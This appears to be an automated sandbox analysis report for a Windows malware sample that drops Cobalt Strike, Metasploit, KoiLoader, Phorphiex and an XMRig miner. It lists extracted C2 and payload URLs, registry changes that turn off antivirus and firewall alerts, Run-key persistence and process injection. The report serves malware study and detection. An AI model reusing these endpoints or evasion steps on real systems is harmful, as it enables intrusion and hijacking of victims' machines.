cobaltstrike | 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28-10-2024 19:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4363463463464363463463463.exe(4).exe
Size

10KB
MD5

2a94f3960c58c6e70826495f76d00b85
SHA1

e2a1a5641295f5ebf01a37ac1c170ac0814bb71a
SHA256

2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
SHA512

fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f
SSDEEP

192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K

Score

10^/10

cobaltstrike koiloader metasploit phorphiex xmrig backdoor discovery evasion execution loader miner persistence trojan upx worm

Malware Config

Extracted

Family

metasploit

Version

windows/reverse_tcp

192.168.1.13:5555

Extracted

Family

koiloader

http://79.124.78.148/inure.php

Attributes

payload_url
https://amatriciamo.it/wp-content/uploads/2018/03

Extracted

Family

cobaltstrike

http://89.197.154.115:7700/mdS9

Attributes

user_agent
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1)

Signatures

Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
trojan backdoor cobaltstrike
Cobaltstrike family
cobaltstrike
KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Koiloader family
koiloader
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysarddrvs.exe

Phorphiex family
phorphiex

Phorphiex payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000d000000023ac6-22.dat	family_phorphiex
behavioral2/files/0x0009000000023d3d-479.dat	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex

Windows security bypass 2 TTPs 12 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysmablsvr.exe

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Detects KoiLoader payload 1 IoCs

loader

resource	yara_rule
behavioral2/memory/4840-84-0x0000000000C80000-0x0000000000C8D000-memory.dmp	family_koi_loader

XMRig Miner payload 9 IoCs

miner

resource	yara_rule
behavioral2/memory/2604-163-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/2604-164-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/2604-167-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/2604-166-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/2604-169-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/2604-168-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/2604-170-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/2604-171-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/2604-172-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
120	3788	powershell.exe
122	3788	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2604	powershell.exe
3044	powershell.exe
2164	powershell.exe
3788	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	NewApp.exe
File created	C:\Windows\system32\drivers\etc\hosts	Updater.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	4363463463464363463463463.exe(4).exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	sysarddrvs.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	SmartPlayer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	a13.exe

Executes dropped EXE 20 IoCs

pid	Process
3672	backd00rhome.exe
4828	11.exe
3388	sysarddrvs.exe
4840	clitoritissR.exe
5052	NewApp.exe
2372	Updater.exe
3724	SmartPlayer.exe
4084	ZinTask.exe
4840	Session.exe
3736	SmartPlayer.exe
2420	a14.exe
3228	tt.exe
1924	evetbeta.exe
1512	sysmablsvr.exe
1176	a13.exe
2616	A3.exe
3184	A3.exe
1172	A3.exe
1768	a3.exe
3196	icsys.icn.exe

Loads dropped DLL 7 IoCs

pid	Process
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe

Windows security modification 2 TTPs 14 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysarddrvs.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysarddrvs.exe"	11.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysmablsvr.exe"	tt.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 10 IoCs

Web Service

T1102

flow	ioc
8	raw.githubusercontent.com
63	bitbucket.org
105	raw.githubusercontent.com
120	bitbucket.org
10	raw.githubusercontent.com
61	bitbucket.org
88	pastebin.com
89	pastebin.com
106	raw.githubusercontent.com
119	bitbucket.org

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4052	powercfg.exe
1844	powercfg.exe
2904	powercfg.exe
1516	powercfg.exe
3872	powercfg.exe
4204	powercfg.exe
4252	powercfg.exe
1960	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	NewApp.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	Updater.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2372 set thread context of 3288	2372	Updater.exe	183
PID 2372 set thread context of 2604	2372	Updater.exe	187
PID 2616 set thread context of 1172	2616	A3.exe	215

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2604-160-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2604-159-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2604-162-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2604-163-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2604-164-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2604-167-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2604-158-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2604-166-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2604-169-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2604-168-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2604-161-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2604-170-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2604-171-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2604-172-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\sysmablsvr.exe	tt.exe
File opened for modification	C:\Windows\sysmablsvr.exe	tt.exe
File opened for modification	C:\Windows\Resources\Themes\icsys.icn.exe	A3.exe
File created	C:\Windows\sysarddrvs.exe	11.exe
File opened for modification	C:\Windows\sysarddrvs.exe	11.exe

Launches sc.exe 19 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4424	sc.exe
5044	sc.exe
1996	sc.exe
2552	sc.exe
3184	sc.exe
1088	sc.exe
5028	sc.exe
5068	sc.exe
1680	sc.exe
2140	sc.exe
1908	sc.exe
4168	sc.exe
1172	sc.exe
4628	sc.exe
2348	sc.exe
3536	sc.exe
2748	sc.exe
3616	sc.exe
2332	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2080	4084	WerFault.exe	193

System Location Discovery: System Language Discovery 1 TTPs 25 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe(4).exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	backd00rhome.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysarddrvs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	clitoritissR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SmartPlayer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	evetbeta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a13.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	A3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	11.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a14.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZinTask.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SmartPlayer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysmablsvr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	A3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icsys.icn.exe

Modifies data under HKEY_USERS 50 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	explorer.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SmartPlayer.Files\DefaultIcon	SmartPlayer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SmartPlayer.Files\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Roaming\\SPTemp\\SmartPlayer.exe,0"	SmartPlayer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.dav	SmartPlayer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SmartPlayer.Files\shell\open\command	SmartPlayer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SmartPlayer.Files\shell	SmartPlayer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SmartPlayer.Files\shell\open	SmartPlayer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\.mp4\ = "SmartPlayer.Files"	SmartPlayer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.dav\ = "SmartPlayer.Files"	SmartPlayer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SmartPlayer.Files	SmartPlayer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SmartPlayer.Files\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Roaming\\SPTemp\\SmartPlayer.exe\" \"%1\""	SmartPlayer.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\.mp4	SmartPlayer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2164	powershell.exe
2164	powershell.exe
5052	NewApp.exe
2604	powershell.exe
2604	powershell.exe
5052	NewApp.exe
5052	NewApp.exe
5052	NewApp.exe
5052	NewApp.exe
5052	NewApp.exe
5052	NewApp.exe
5052	NewApp.exe
5052	NewApp.exe
5052	NewApp.exe
5052	NewApp.exe
5052	NewApp.exe
5052	NewApp.exe
5052	NewApp.exe
5052	NewApp.exe
2372	Updater.exe
3044	powershell.exe
3044	powershell.exe
2372	Updater.exe
2372	Updater.exe
2372	Updater.exe
2372	Updater.exe
2372	Updater.exe
2372	Updater.exe
2372	Updater.exe
2372	Updater.exe
2372	Updater.exe
2372	Updater.exe
2372	Updater.exe
2372	Updater.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe
2604	explorer.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
1512	sysmablsvr.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3200	4363463463464363463463463.exe(4).exe
Token: SeDebugPrivilege	2164	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeShutdownPrivilege	1844	powercfg.exe
Token: SeCreatePagefilePrivilege	1844	powercfg.exe
Token: SeShutdownPrivilege	2904	powercfg.exe
Token: SeCreatePagefilePrivilege	2904	powercfg.exe
Token: SeShutdownPrivilege	1516	powercfg.exe
Token: SeCreatePagefilePrivilege	1516	powercfg.exe
Token: SeShutdownPrivilege	4052	powercfg.exe
Token: SeCreatePagefilePrivilege	4052	powercfg.exe
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeShutdownPrivilege	4252	powercfg.exe
Token: SeCreatePagefilePrivilege	4252	powercfg.exe
Token: SeShutdownPrivilege	1960	powercfg.exe
Token: SeCreatePagefilePrivilege	1960	powercfg.exe
Token: SeShutdownPrivilege	4204	powercfg.exe
Token: SeCreatePagefilePrivilege	4204	powercfg.exe
Token: SeShutdownPrivilege	3872	powercfg.exe
Token: SeCreatePagefilePrivilege	3872	powercfg.exe
Token: SeLockMemoryPrivilege	2604	explorer.exe
Token: SeDebugPrivilege	3788	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1924	evetbeta.exe
1768	a3.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
1924	evetbeta.exe

Suspicious use of SetWindowsHookEx 64 IoCs

pid	Process
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe
3736	SmartPlayer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3200 wrote to memory of 3672	3200	4363463463464363463463463.exe(4).exe	88
PID 3200 wrote to memory of 3672	3200	4363463463464363463463463.exe(4).exe	88
PID 3200 wrote to memory of 3672	3200	4363463463464363463463463.exe(4).exe	88
PID 3200 wrote to memory of 4828	3200	4363463463464363463463463.exe(4).exe	106
PID 3200 wrote to memory of 4828	3200	4363463463464363463463463.exe(4).exe	106
PID 3200 wrote to memory of 4828	3200	4363463463464363463463463.exe(4).exe	106
PID 4828 wrote to memory of 3388	4828	11.exe	107
PID 4828 wrote to memory of 3388	4828	11.exe	107
PID 4828 wrote to memory of 3388	4828	11.exe	107
PID 3388 wrote to memory of 1968	3388	sysarddrvs.exe	108
PID 3388 wrote to memory of 1968	3388	sysarddrvs.exe	108
